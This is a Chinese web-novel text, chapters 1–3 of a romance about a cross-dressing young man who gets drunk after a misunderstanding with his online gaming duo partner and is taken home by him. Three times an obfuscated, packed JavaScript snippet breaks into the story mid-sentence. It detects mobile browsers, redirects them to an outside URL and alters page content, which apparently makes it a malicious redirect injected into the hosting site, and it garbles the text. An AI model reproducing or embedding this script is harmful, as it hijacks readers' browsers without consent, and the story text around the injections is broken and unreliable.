《小鱼泡泡闪亮亮》 1. 伤心小鱼 “惨,真惨。” 陈逸手里捏着电子烟,像看濒危物种一样盯着对面的绝世美女。 某特调Bar的角落里,昏暗的灯光勾勒出许念精致的侧脸,在这种几乎算得上死亡打光的环境下,他依旧美得有点过分。长卷假发的质感极好,柔顺地垂在肩头;脸颊轻扫的嫩粉腮红给过于白皙的皮肤添了一点血色;翘起的唇被粉色唇釉细细涂过,粉嘟嘟的。活脱脱一个清冷仙女误入人间。 “他……还在打吗?” 许念的声音清冷,声线偏中性,此刻却隐约带着一点不易察觉的咬牙切齿。 陈逸叹了口气,心说兄弟你这回是真栽了。为了那个素未谋面的野王,许念硬是把自己塞进这条紧巴巴的小裙子里,在酒吧角落里拿着爱的号码牌排队领心碎。 他的视线下意识往下扫了一眼,紧身裙下的曲线婀娜得过分,不是裙子的剪裁太好,而是货真价实的有料。这也是许念身上最隐秘、最让陈逸头大的基因突变。这种杀伤力,别说网上那个还在读高中的小屁孩,就是他这个从小一起长大的发小,有时候都会被晃得眼晕。 陈逸立刻把视线挪开,在心里疯狂念咒:男的,纯男的,身份证男的。虽然发育的时候出了点Bug,长得过分了一点,但一切以身份证性别为准。哥铁直,铁直,铁直。 念完这一套心理建设,他顺手瞄了一眼许念放在桌上的手机,屏幕还亮着,OP.GG页面上赫然显示着刺眼的三个字:【游戏中】。 陈逸的表情顿时更复杂了。根据他前不久当老板开“四陪车”的时候,从一个前职业陪玩嘴里抠出来的八卦,那位野王是个不折不扣的顶级配置:韩服千分,十六七岁,俱乐部经理亲自登门挖人,人家连眼皮都懒得抬一下,因为家里是真的有钱。这种Buff几乎叠满的少爷型野王,多半都深谙高端海王法则:不主动,不拒绝,不负责,全网撒网,满池塘养鱼。 而自家这位兄弟,外表看起来是清冷得不食人间烟火的高岭之花,内里却是朵纯情到冒泡的小白花。 二十岁,恋爱经验:零。 别说接吻,连别人的手都没牵过,也没被人牵过。虽然一直以来追许念的人不分性别,拿着号码牌排队能从街头排到街尾,但这人偏偏一直不动心,结果这一动心,直接一头撞进这种顶级海王高端局。 除了坐在这里抹着眼泪喝长岛冰茶顺便循环播放《可惜我是水瓶座》,陈逸实在想不出还有什么别的结局。 不一会儿侍应生端着托盘走了过来。许念皱起漂亮的眉毛,他明明点的是八杯长岛冰茶,结果托盘上只放了两杯,剩下两杯却是颜色清淡的金汤力。 陈逸立刻堆起笑,把金汤力推到许念面前说:“先喝这个,咱们循序渐进一点,别一上来就开大。” 许念那点酒量他比谁都清楚,说半杯倒都算抬举,基本属于一口入魂的玄学级别,一杯长岛冰茶下去,估计当场昏迷,明天太阳落山都未必醒。 许念看都没看那杯金汤力,他端起长岛冰茶,连吸管都懒得用,直接仰头豪饮一大口,动作干脆得和他这副仙女外表格格不入。 陈逸眼皮狂跳:“喂,你悠着点,这玩意儿后劲儿大得离谱!” 他说着伸手试图去抢杯子。 “我都失恋了。”许念一把拍开他的手,声音闷闷的,带着点鼻音,委屈得不行,“杨千嬅失恋也喝这个,我喝怎么了,我有罪吗?” 陈逸一时无言,脑子里自动响起《少女的祈祷》,又想起《可惜我是水瓶座》。 行吧。 从某种意义上讲,眼前这位确实也算少女,而且真是水瓶座。 “行。”陈逸叹了口气,“你是水瓶座美少女,你世界第一惨。” 他说完也举起杯子豪饮了一口。 当然,喝的是金汤力。 陈逸是真的不敢醉。许念今天这身打扮,再加上那种特殊的身体构造,往酒吧里这么一坐简直就是个顶级诱捕器,从进门开始周围那些若有若无的目光就没怎么离开过他,偏偏许念从小就肩不能扛手不能提,战斗力基本负数,要是真出了什么事,他得当场以死谢罪。 “来吧,干杯。”陈逸举起杯子,“我今天就是帅气版黄伟文,祝那位野王以后排位十连跪,跪到想起你的好。” 许念没理他的垃圾话,只是又灌了一大口长岛冰茶。冰凉的酒液顺着喉咙滑下去,又苦又辣,和名字完全不搭,却和他此刻的心情意外地合拍。 “他说他只和我玩AD。”许念把杯子放下的时候声音很轻,眼圈却已经红得不像样,“结果呢,背着我和别人双排,明明约好了今天见面,他却带妹带得不知天地为何物。” 他说到这里的时候甚至笑了一下,笑得有点自嘲:“我在家紧张得要死,选裙子,化妆,试假发,他可能正在语音里喊别人宝贝,夸人家盾给得及时,夸人家风吹得好。” 许念吸了吸鼻子,声音低了下去。 “而且他用的还是韩服大号。” “那个全网盯着、随时会被录像复盘的ID,他一次都没带我玩过,现在却顶着那个号,陪一个风女打匹配。” 大号战绩栏里那几场突兀出现的匹配记录,像是一记响亮的耳光,结结实实抽在许念脸上,把他这段时间的自作多情打得稀碎。 陈逸原本还想当一把理中客认真分析一下,毕竟那个分段的风女极大概率是个抠脚大汉,或者哪个俱乐部借野王号在试训的新辅助号。再说许念自己看完战绩一秒破防,光速卸载微信、拉黑电话、直接断网跑路,这事儿到底有没有误会,其实谁也说不清。 但当他看见许念那双漂亮的大眼睛里已经开始打转的小珍珠时,理性当场下线。 陈逸啪地拍了一下桌子,立刻改口。 “这不就是个海王吗,还是那种把鱼分级管理的渣男。高分风女配韩服大号,小鱼只配小号双排。这种天天泡网上的,现实里八成一米六、一百六十斤,生怕一奔现直接见光死,妹子跑了,分也掉了,只能靠韩服高分在网上骗小姑娘。没见面反而是好事,咱直接拉黑删除一条龙,这种普信□□本不配让你掉小珍珠。” 至于前职业陪玩说过的那句“经理说这哥们儿长得巨帅巨高”,已经被陈逸在脑子里当场格式化,顺手扔出了银河系。 许念没说话。那颗在眼眶里打转半天的眼泪终于还是掉了下来,“啪嗒”一声。长卷发半遮着那张过分精致的脸,再配上那颗珍珠似的眼泪,堪称教科书级别的仙女落泪现场。 陈逸看得头皮发麻,赶紧把桌上另一杯长岛冰茶悄悄往自己这边挪了挪,一边继续劝。 “听哥的,靓仔千千万,不行咱就换。就你这条件,这脸,这腿,这身高,你往那儿一站,韩服千分有一个算一个都得被你迷成弱智。这种大号匹配带妹的下头男,就让他和他的风女锁死双排一辈子吧,祝他们下路永远二打三,被四包二,自家打野永远不来。” “可是……我不想换” 许念嘟囔着,眼神已经涣散成了一片浆糊。听到“换掉”两个字,他的心口像是被娜美的水泡精准命中,画地为牢。连挣扎都没办法,只能被那点可怜又固执的喜欢牢牢困住。 他把头埋进胳膊里,声音细得几乎听不见,带着一点酒气和说不清的委屈:“姐姐长,姐姐短,姐姐单身他也不管……顾妄这王八蛋,他只管带妹上分,根本不管姐姐死活……” “谁说我不管?” 一道低沉又熟悉的声音忽然从座位上方砸了下来。和以往耳机里隔着Discord电流听见的冷淡不同,这声音此刻明显带着压不住的火气。 陈逸手一抖,电子烟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323609|199095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 差点直接掉进长岛冰茶里。他抬头一看,卡座旁不知道什么时候已经站了个人。 顾妄。 个子很高,黑色外套随意敞着,五官深邃而张扬。陈逸盯着他看了两秒,忽然想起之前听到的那句评价——又高又帅。现在见到真人才发现那句话一点没夸张。 但此刻那张帅脸黑得厉害。 顾妄站在桌边,视线落在趴在桌上的小黑裙身影上,一动不动。 “微信不回,电话不接,”顾妄把声音压得很低,语气一点点沉下来,“就是为了躲在这儿,听这个废物劝你换掉我?” 被突然点名的陈逸:“?” 他还没来得及开口,顾妄已经弯腰把人从桌边抱了起来。 许念只觉得整个人忽然腾空,脑子还没反应过来,人已经被抱进怀里。失重感让他下意识惊呼了一声,手胡乱抓了一下,最后抓住了顾妄的衣领,人也因为这一抓往前贴过去。 一股很清新的海盐气息涌进许念的鼻腔。 顾妄被这一拽带得往前低了点头,胸口几乎贴到许念肩上,他皱了皱眉,却没有把人放下,只是顺手把人往怀里托了一下,另一只手把裙边往下拉了拉,让那条短得过分的小裙子不至于再往上滑。 许念迷迷糊糊地抬起眼,视线糊得厉害,只看见一截下颌线,还有那人紧抿着的嘴。 “放……我下来,你是……” 顾妄冷哼了一声,手臂反而收得更紧,把人牢牢扣在怀里。他低头看着怀里醉得一塌糊涂的人,停了一秒,像是在把那点火气往下压。 “许念,我找了你五个小时。” 许念根本没听清,手却还抓着他的衣领没松,整个人软得没骨头似的往他怀里靠。顾妄低头看了一眼那只攥着自己衣领的手,喉结动了一下,刚压下去的火气又慢慢顶了上来。 “结果你穿成这样跑来酒吧喝酒?” 许念迷迷糊糊地皱了皱眉,脸往他胸口蹭了一下,嘟囔了一句谁也没听清的话。顾妄的动作顿了一瞬,他低头看了怀里的人两秒,确认这人是真的醉了,也没再说什么,直接抱着人转身往外走,全程连个眼角余光都没分给陈逸。 陈逸愣了几秒才反应过来,赶紧追出门外,可等他跑到门口的时候,只看到路灯下那辆黑色大G已经亮起尾灯。顾妄把人放进后座的时候动作明显慢了下来,一只手挡在车门上沿,护着许念的头。 车门关上前,他像是察觉到陈逸追出来,回头扫了一眼。下一秒车门关上,引擎低低响了一声,黑色大G很快拐出街口。 陈逸站在马路边,被尾气喷了一脸。他低头看了看自己这一身昂贵行头,又想起刚才那小屁孩看他的那一眼,跟看垃圾一样,越想越气。 “不是,他凭什么这么拽啊?”陈逸对着空气挥了一拳,挥到一半又慢慢把手放下来。 “……靠。长成那样,好像确实有点资本。” 野王居然真的是个顶配高富帅。而且看刚才那架势,哪是什么海王养鱼,分明是以为自家水晶被人点了,打野直接交闪现回来守家。 问题也就在这儿。 陈逸抹了把脸,越想越头大。 “许念啊许念,你这会儿喝断片了……” 酒精一上头,那条紧身裙底下的秘密,要是真在野王面前掉出来—— 陈逸打了个冷颤。他几乎已经能想象那个场面:人家满心以为抱了个软萌姐姐回家,结果拆开包装一看:绝版隐藏款。 陈逸手指都已经点到了报警界面,想了想又退了出来。今天许念为了见那小屁孩,在家折腾了整整三个小时,这条紧得要命的小裙子也是他自己心甘情愿套上去的。 陈逸叹了口气,最后还是打开微信,发了一条消息。 【兄弟,你要是明天还活着,记得给我回个1。】 2. 恋爱脑野王 “弟妹找到了?” 驾驶座上的李青杨稳着方向盘,余光一个劲往后视镜里瞟。他今天纯属被抓壮丁。几个小时前,顾妄一个电话打过来,语气冷得不行:“开车,来我家。” 没有解释,没有多余的话,然后李青杨就被拉着满城找人。原因也很简单—— 顾少被拉黑了。 被这位“准女友”,哦不,准确来说,是顾少单方面实名认证的正牌女友。而当事人本人,此刻显然还处在断网不知情的2G状态。 李青杨想起几个小时前那一幕,还是忍不住想笑。顾妄盯着手机屏幕上那行鲜红的提示:【消息已发出,但被对方拒收了】整个人当场黑脸。按照顾妄平时的脾气,谁敢这么遛他,早就被反手拉黑删除举报三连。结果这次不一样。人没删,顾妄反而像丢了魂。电话一个接一个打,微信发了几十条,打不通就查定位。李青杨站在旁边看得目瞪口呆,顾少什么时候这么低姿态过? 结果现在更离谱。人是找到了,顾妄却一句话不说,只是把怀里的人裹得严严实实。黑色外套严严实实盖在许念身上,脸被按在他颈窝里,几乎整个人都埋进去。李青杨从后视镜侦察了半天,愣是只看到一截白得发光的小腿,线条漂亮得过分。他在心里默默给这位“弟妹”打了个评分。 ——SSS级。 “看路。”顾妄冷冷丢出两个字。 李青杨立刻识趣地把视线收回来,心里却忍不住啧了一声。 至于吗,藏这么严实? 不过他转念一想,又觉得这反应其实挺合理。毕竟顾妄最近这个状态,说是恋爱脑都算轻的。他最近在游戏圈的战绩和行径,简直堪称反向医学奇迹。 要知道,顾妄以前是韩服千分,结算前十,打野位天花板。三叔和越南打野的高富帅混合版,野核里的毒瘤,毒瘤中的野核。队友被抓他去反野,队友阵亡他去脏兵,Mute All一开,队友的哀嚎和他没有任何关系。 分倒是上得飞快。 队友的游戏体验却一路跌进马里亚纳海沟。 兄弟们曾经无数次求他双排。顾妄要么点名让人中路选里奥儿,六级大招只能飞野区给他当保镖,要么直接让掏锤石布隆,随时准备闪现挡钩。要是兄弟被抓,他转头就把对面野区刷个精光。冷酷得一塌糊涂。 结果最近,这人突然发癫了。 韩服大号丢在一边,开小号跑去国服翡翠分段炸鱼,每天雷打不动带着一个叫“小鱼泡泡闪亮亮”的辅助在下路双排。ID也从原本高冷的乱码,改成了一个极其辣眼睛的名字。 ——接水泡。 竞圈看到这个ID的时候几乎是集体嘲笑:竞男经典操作,纯种沸羊羊,舔妹妹舔得毫无底线。起初李青杨也觉得这名字离谱他妈给离谱开门,直到有一次,他无意间偷听到两个人连麦。 那天小鱼一如既往玩娜美,Q技能水泡空得惨不忍睹,在语音里有点自闭地小声嘀咕:“我水泡老是空……” 顾妄当时正滑步补兵,眼皮都没抬一下:“没事。” “你闭着眼Q。” “我闪现去接。” 语音那头沉默了一秒:“……哦。” 李青杨当场差点笑出声。好家伙,原来“接水泡”是这么来的。不是舔狗,是下路的战术配合。主打一个—— “小鱼放心泡,哥哥永相随。” 反正不管小鱼的水泡空成什么样,顾妄都能靠离谱的走位和伤害,把对面的头硬生生按进她的水泡里。只要他在,她的技能就是指向性。 …… 换个姿势当高端舔狗而已。 于是顾妄的野区算是彻底荒废。以前他的野区是禁区,现在直接变成景区。谁都能来逛两圈,反正打野位早就换人了。野怪刷新出来,眼睁睁看着顾姓人士带着妹妹一路往下路狂奔,都愣住:哥们,你不来打我了吗? 顾妄现在常驻AD位,德莱文、卢锡安、伊泽瑞尔轮着掏,每一场都打得像个人秀,走位、操作全往对面脸上怼。整局游戏仿佛都在循环一句话: “鱼妹妹,看哥这波帅不帅?” 顾妄以前打野的时候,只要看到自家下路选出老鼠、大嘴这种发育期长到离谱的后期AD,再配个软辅,他连眉头都不会皱一下,直接默认放生。整局比赛下路查无此打野。自家下路死在塔下,他连屏幕都懒得切过去看一眼。 可轮到他带妹了,好家伙。 汤姆杰瑞他玩得不亦乐乎,大嘴露露这种选出来队友当场痛苦面具的坐牢阵容也亲自操刀,这种突破游戏底线的双标行为,简直令人发指。 而小鱼妹妹人如其名,对娜美有着近乎偏执的执念。只要娜美没上Ban位,基本每一局都能看到那条小鱼在顾妄旁边晃悠。娜美一出场,生态链瞬间稳定:小鱼负责奶,顾妄负责当疯狗。 这也还行,队友忍气吞声,小鱼好歹团战还能给他们奶一口。但要是鱼被Ban了,小鱼沉默三秒,顾妄直接帮她秒锁猫,再极其自然地来一句: “不用管他们。” “挂我身上别下来就行。” 好家伙,队友整局痛失辅助。 顾妄这一系列骚操作直接导致“接水泡”这个ID,在那些炸鱼主播的直播间里热度一路飙升——只不过,基本全是喷的。某个专门炸翡翠分段的上路主播某天排到这俩人,加载界面刚跳出来,人就愣住了。他盯着屏幕看了两秒,然后缓缓开口: “兄弟们。” “坏了。” “接水泡。” 弹幕瞬间炸锅。 【这把寄了】 【三分啊赶紧跑啊】 【主播准备坐牢】 【恋爱脑野王上线】 【鱼妹妹今天也在吗】 主播沉默了两秒,深吸一口气。 “兄弟们我先声明一下,这把不是我不想赢。” “是系统不想让我赢。” 说完他熟练地打开公屏,开始卑微求生: “接水泡来了,义父们秒一下。” “发账号我zfb转50,求求别开这把。” 可惜头铁的队友初(畜)生牛犊不怕虎,硬是没人想赚这五十块。主播只能眼睁睁看着游戏开始。顾妄锁下德莱文,小鱼锁娜美。对面下路是锤石卢锡安,明显是专门拿出来拆组合的,尊重拉满。奈何小鱼根本不会锤石,这尊重纯属白给。 主播看了一眼阵容,又看了一眼对面,再看了一眼自家下路。 沉默。 “好消息。” “我们下路是绝活哥。” “坏消息。” “是恋爱脑绝活哥。” 弹幕当场笑疯。 【哈哈哈哈】 【野王又玩ad】 【还是德子】 【这把下路没了】 果然,开局三分钟,对面打野绕下。主播这边还在和对面上路“屁屁贴屁屁”友好补兵,顺手切屏看了一眼下路。下一秒,顾妄反手一个闪现挡钩。主播当场破防。 “不是哥们???你德莱文闪现给娜美挡钩???” 弹幕瞬间开骂。 【滚去匹配啊】 【恋爱脑】 【峡谷第一沸羊羊】 更离谱的是—— 最后居然还给他赢了。斧头哥早早做出饮血,一刀一个。对面上单人都麻了,兰盾看起来跟摆设一样。队友看得恨不得自己也能原地去世,好给顾妄叠被动。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323610|199095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 但赢归赢,骂还是继续骂。毕竟顾妄现在打游戏从不看输赢,只看两件事:小鱼妹妹有没有被切。以及,自己这波操作帅不帅。 经常他战绩10-0的时候,队友已经开始在公屏打“稳了稳了”,打野和上单的骑士之誓小件都提前做出来开始认爹。结果下一波,这破野王为了给辅助挡个刮痧小技能,交闪送出大赏金;要么脑子一热,直接带着妹妹2打5往人堆里冲,主打一个“哥先上了,你们随意”。 队友人都麻了。屏幕上,小鱼妹妹身上挂着二十五层杀人书,而自家水晶马上要爆炸。公屏当场变成大型破防现场: “辅助出个救赎会死吗?!” “【接水泡】和【小鱼泡泡闪亮亮】给我滚出翡翠局!!!” 可这两位压根不在乎。对话早就关得一干二净,信号全部屏蔽。只在Discord私密连麦或者微信语音里聊得热火朝天。喷子和压力怪跟他们一点关系都没有。 兄弟们点进去OB,全员看傻。顾妄现在闪现、治疗、挡钩样样精通,熟练得让人怀疑他是不是偷偷转了辅助。最离谱的是前两天,他在顾妄家卑微当背景板,等这两位甜蜜双排完最后一把。顾妄为了给鱼妹妹挡一个阴险的穿兵钩,把自己搞成丝血被迫回城,结果被对面卡了整整一大波兵线。屏幕里,小鱼妹妹QE全交,在那儿笨拙地平A,拼命想帮他把线推过去。那股认真劲,看着有点可爱。 打野看了直接脑血栓发作,下半区野区当场宣布没了。 而平日里总是一张臭脸的顾大少爷,看着屏幕里小鱼补兵补得满头大汗的样子,竟然靠在电竞椅上,对着耳机低声笑了一下。 那种笑法,是以前从没见过的纵容。 李青杨当时就被这股恋爱的酸腐味冲得够呛,也终于顿悟了:为什么顾妄最近会变成翡翠局的万年守门员。因为人家压根就没打算上分。rank在他这里早就变成了大型恋爱真人秀。顾妄沉迷其中,乐在其中,心思全用来哄妹妹了。哪还有空管他们这帮兄弟的死活。 事实证明,这种体贴入微的“五星级游戏体验”,顾少不是给不了。 只是他们这些兄弟—— 确实不配。 后座的顾妄连个多余的眼神都没分给那个不时往后视镜里切屏、顺带还在心里吐槽的李姓司机。他低头看着怀里的人,许念喝得有点迷糊,整个人软绵绵地靠在他怀里,像没骨头似的,时不时还不安分地动一下,嘴里含含糊糊地嘟囔着:“顾妄……骗子……” 车厢本来就闷,酒精味混着他身上的香气,一阵阵往顾妄鼻子里钻。许念又往他怀里蹭了一下,发丝扫到他下巴。顾妄抬手按住那颗乱动的脑袋,手指插进发间,指腹顺着头顶慢慢往后捋。柔软的发丝从指缝间滑过去,他的手停了一下,随后落到许念后颈,把人往自己怀里按紧。 许念被按得更近了一点,带着酒气的温热呼吸直勾勾贴了上来。他似乎终于找到了一个舒服的位置,脸贴着顾妄的衣领,像只喝醉的小猫一样蹭了蹭。 顾妄的手指在他后颈慢慢收紧。车窗外的路灯一盏一盏往后退,光影从顾妄棱角分明的侧脸上掠过去。他微微低下身子,鼻尖几乎贴到许念发烫的耳廓,声音压得很低。 “许念。” “你最好是真的喝醉了。” 怀里的人没听清,还在含含糊糊地嘟囔着控诉。 顾妄盯着他看了一会儿,扣在后颈的手始终没有松。要是这人清醒着还敢这么耍他,拉黑他,还穿成这样跑去酒吧招摇过市。 顾妄慢慢吐出一口气。 他是真的会把这条不听话的小鱼关进鱼缸里。 至少在他弄明白,这人到底在气什么之前,别想再随便乱跑。 3. 醉酒小鱼 车停稳的时候,许念已经彻底酒精上头,长岛冰茶的后劲就像娜美的大招,把他整个人拍得晕头转向。他软绵绵地靠在顾妄怀里,脑袋一点一点往下滑,长卷发散在顾妄肩上,发梢时不时蹭到他的喉结。顾妄低头看了一眼,把人往上托了托,推开车门,直接横抱出来。 李青杨也不知道自己抽什么风,条件反射般地熄火、解安全带、下车,整套动作一气呵成。人已经站在停车位旁边。他愣了一下,索性跟在顾妄后面往电梯口走,还刻意放轻脚步,尽量把存在感降到最低。 八卦这种东西,一旦开了头,很少有人真能忍住不往下看。他其实没打算干什么,只是单纯好奇——这俩人到底是因为什么吵起来的?顾妄把人抱回去会不会当场对线?事情到底发展到哪一步了?以及,最重要的一点—— 这位把顾少迷得五迷三道的“鱼妹妹”,真人到底能有多乖。 李青杨越想越觉得,这瓜要是吃不到最后一口,今晚多半是睡不着了。 结果刚走到电梯口,前面的顾妄忽然停了下来。他没有按电梯,只是微微侧过脸,凉飕飕地扫了李青杨一眼。 “……行,我懂。” 李青杨的脚步当场焊死,求生欲极强地往外挥了挥手,“你俩慢慢聊,我突然想起来我妈喊我回家吃饭。” 话音还没落,人已经麻溜地转身撤退。走出两步,他还是没忍住回头看了一眼刚合上的电梯门,长叹一口气。 “妈的,就差一点。” 电梯门合上之后,里面很快安静下来。许念在顾妄怀里动了动,像是嫌这个姿势不太舒服,脑袋往他肩窝里蹭了蹭,含含糊糊地嘟囔了一声:“骗子。” 顾妄低头看了他一眼:“安静点。” 许念压根不理。他现在是个彻头彻尾的醉鬼,手还死死攥着顾妄卫衣的抽绳,好像一松手,这个吵架对象就会当场闪现跑路。 电梯慢慢往上升。 许念忽然仰起脸,盯着顾妄看了半天,看着看着,他眉头一点点皱起来,语气委屈得不行:“你为什么……和别人玩?” 顾妄顿了一下:“我没有。” “我不信。” 许念的逻辑早就被酒精搅成一团浆糊。他盯着顾妄看了一阵,忽然抬起手,指尖捏住顾妄的脸颊,晃了晃:“别以为……你长得帅,我就会原谅你。” 顾妄太阳穴突突直跳,却没有挥开那只手,只是垂眼看着他:“松手。” 许念不仅没松,反而整个人往前凑了点,湿漉漉的浅棕色眼睛在电梯冷白的灯光下亮得惊人。 “你骗人。” 电梯数字一层层往上跳。 许念忽然想起什么,眉头皱得更紧:“我都看见了。” 顾妄低头看他:“看见什么?” 许念想了半天,慢吞吞吐出两个字:“……妹妹。” 顾妄沉默了一瞬。除了怀里这条醉得不成样子的鱼,他从不带其他女生。 “我说了没带别人。” 许念显然不接受这个答案。他盯着顾妄看了半天,像是在认真思考什么,下一秒忽然伸手搂住顾妄的脖子,把人往自己这边一拽,皱着眉警告:“你不许带别人。” 顾妄被他拽得低下头,挑了下眉:“你管我?” 许念愣了两秒,像是没想到他还敢顶嘴,脸顿时更不高兴了。“我当然管。” 他说得含混,却理直气壮:“我只和你双排……你也只能和我双排。” “叮——” 电梯停下,门缓缓打开。顾妄却没动。他低头盯着怀里的人。许念这会儿眼神已经迷糊,明显连自己刚才说了什么都不知道。 顾妄盯着他看了一会儿,嘴角轻轻动了一下。 “许念。”他低下头,声音压得很轻:“你知道自己在说什么吗?” 许念盯着他看了半天,居然很认真地点了点头。 顾妄没再说什么,抱着人走出电梯,刷卡开门。客厅灯亮起来的一瞬,许念被晃得眯了眯眼,人还没完全清醒,就又执拗地抬头看他,像卡住的复读机一样小声问:“你为什么带别人?” “我没有。”顾妄还是那一句。他把人往沙发上一放,“等你酒醒了再吵。” 许念连坐都坐不稳,身子一歪就往旁边倒。顾妄伸手扶了一把,他却顺势贴上来,整个人软绵绵地靠着,嘴里还在念叨:“骗子。”顾妄看了他两秒,什么也没说,弯腰把人一把扛了起来。 “干嘛……”许念迷迷瞪瞪地问。 顾妄已经转身往卧室走:“睡觉。” 人是扛进来的。到了床边,顾妄却没有真的把人往床上一丢,而是把许念慢慢放下来,拉过被子往他身上一盖。许念半睁着眼,还想继续争辩,刚动了两下,就被顾妄按住肩膀。 “别动。” 顾妄转身去洗手间拧了条湿毛巾,回来在床边坐下,俯身给他擦脸。许念整个人软得没什么力气,脑袋却一点不配合。毛巾刚碰到脸,他就往旁边躲。顾妄皱了皱眉,伸手托住他的下巴:“说了别乱动。” 语气听着很不耐烦,手上的动作却很细致。毛巾从额头擦到脸颊,又顺着往下带到脖颈。许念被弄得不舒服,脑袋一直往旁边躲,人也在被子里胡乱扑腾。顾妄刚按住他的肩,他又往另一边蹭。折腾了几下,被子已经被蹭下来一截,那条紧身的小黑裙就这么露出来。 顾妄的动作停了一下。他低头看了一眼,视线只停了一瞬,很快就移开了。他伸手把滑下去的被子重新拉上来,从肩口一直盖到腿边,又把被角掖好,确认没有再露出来的地方。做完这些,他才直起身,把毛巾往旁边一丢。 “算了。” 许念折腾了一会儿也累了,终于不再乱动,呼吸慢慢稳下来。顾妄站在床边看了他一会儿,确认人安静下来,这才关掉床头灯,轻轻带上门走了出去。 第二天醒来的时候,许念盯着天花板发了好一会儿呆,大脑一片空白,完全没反应过来自己为什么会在一间陌生的卧室里。宿醉让他的反应慢了半拍,脑子像卡在了加载界面。他慢慢坐起来,整个人还有点发懵,下一秒却像是忽然想起什么似的,猛地掀开被子往里面看了一眼。 好消息,是昨天那条小黑裙。 坏消息,也只有昨天那条小黑裙。 鞋子和外套都不见了,很显然昨晚有人替他收拾过。许念整个人僵在床上,脑子像被人格式化了一样。他昨晚不是还在酒吧吗?和陈逸一起cos杨千嬅和黄伟文来着?他的八杯长岛冰茶呢?陈逸人呢? 念头刚转到这里,他猛地从床上坐直,开始在枕头旁边、被子底下到处翻自己的手机。就在这时,卧室门被人从外面推开,顾妄端着一杯水走进来。 两个人四目相对,空气忽然安静。 许念:“………………” 这是他们第一次在现实里见面,而不是隔着发烫的手机屏幕。 顾妄比他想象的还要帅。 许念其实早就熟悉这张脸。视频时,顾妄从不找角度,也不打光,镜头经常晃得只剩半张脸,可即使那样也足够好看。深夜连麦打那些无聊小游戏时,屏幕里晃过的侧脸轮廓分明,声音总是低沉磁性。 可那终究隔着屏幕。 现在人就站在面前。顾妄个子很高,黑色卫衣随意套在身上,离得近了,许念才发现他的五官比视频里更立体,高眉骨,深眼窝,睫毛长得过分。他不是许念这种精致到过于中性的类型,是很张扬的帅,甚至带着点坏。 许念盯着他看了两秒,脑子忽然空了一下,这个弟弟在视频里已经够帅了,真人更过分。 许念这才后知后觉地意识到自己现在有多狼狈。紧身小裙子还没换,宿醉之后脸色估计很糟,眼妆多半已经花得乱七八糟,假发也不知道乱成什么样。他立刻把被子往上拉了拉,恨不得把自己整个人都卷进去。 “醒了?”顾妄把杯子放到床头柜上。 许念张了张嘴,大脑还没完全重启。他看向顾妄,半晌才艰难地挤出一句:“……这是哪?” “我家。”顾妄站在床边,居高临下地看着他。 许念的表情瞬间空白。昨晚那些零碎的记忆慢慢回笼——酒吧、长岛冰茶、和陈逸一起唱歌,还有……顾妄。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323611|199095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 想到这里,他下意识把被子往上拽,遮住胸口,小声问:“我为什么在你家?” “你觉得呢?”顾妄反问 。 许念的脸一下子红到耳根,整个人僵在被子里不敢动。因为他是真的一点都不记得昨晚发生了什么。 顾妄原本还想再呛两句,可看见他这副样子,话到嘴边忽然停了一下。许念低着头,脸几乎埋进被子里,睫毛轻轻发抖,从耳尖到脖颈都泛着一层淡淡的粉。顾妄看了他一眼,很快移开视线,喉结轻轻动了一下。 “说好约见面的。”他的声音低了一点,“结果你昨晚跑去和别的男人喝酒?” 提到这里,许念脸上的红意慢慢退下去。 对。 前天晚上他兴奋得几乎睡不着,一遍遍确认时间,还在衣柜前试了半天衣服。结果第二天一早,他却看见顾妄的大号在排位,带着别人。 许念垂下眼帘,没有说话。 顾妄本来就压着火。他以为昨天是和自己女朋友的第一次正式约会。结果人突然把他拉黑,电话打不通,消息不回。他找了大半个晚上,最后却在酒吧看见许念穿着小裙子坐在别的男人旁边。 现在人就坐在床上,低着头一声不吭,顾妄只当他是心虚。那点压抑的火气一下子翻上来,他两走过去,伸手捏住许念的下巴,迫使他抬头:“说话。” 许念本来就在强忍,被这么一捏,眼眶里的泪珠一下子砸下来。昨晚的睫毛膏已经晕开,眼尾湿得一塌糊涂。他本来就白,这一哭整个人都泛着粉,像只被雨淋透的小猫 。 顾妄一下僵住了。他愣在原地,一时间不知所措:“……哭什么?” 许念喉咙发紧。他其实有一肚子话想说。想说你不是和别人排得挺开心的吗,想说自己昨天兴奋得像个傻子,一整晚都在想见面的事。可那些话堵在喉咙里,一个字也吐不出来。 眼泪倒是掉得很快。 顾妄看着他,一时间有点手忙脚乱。他拿起旁边的毛巾想给人擦脸,毛巾刚碰到皮肤,许念却忽然往旁边躲了一下,哽咽着开口:“擦……擦不掉。”他指了指自己眼尾那一片晕开的黑色:“有卸妆油吗?” 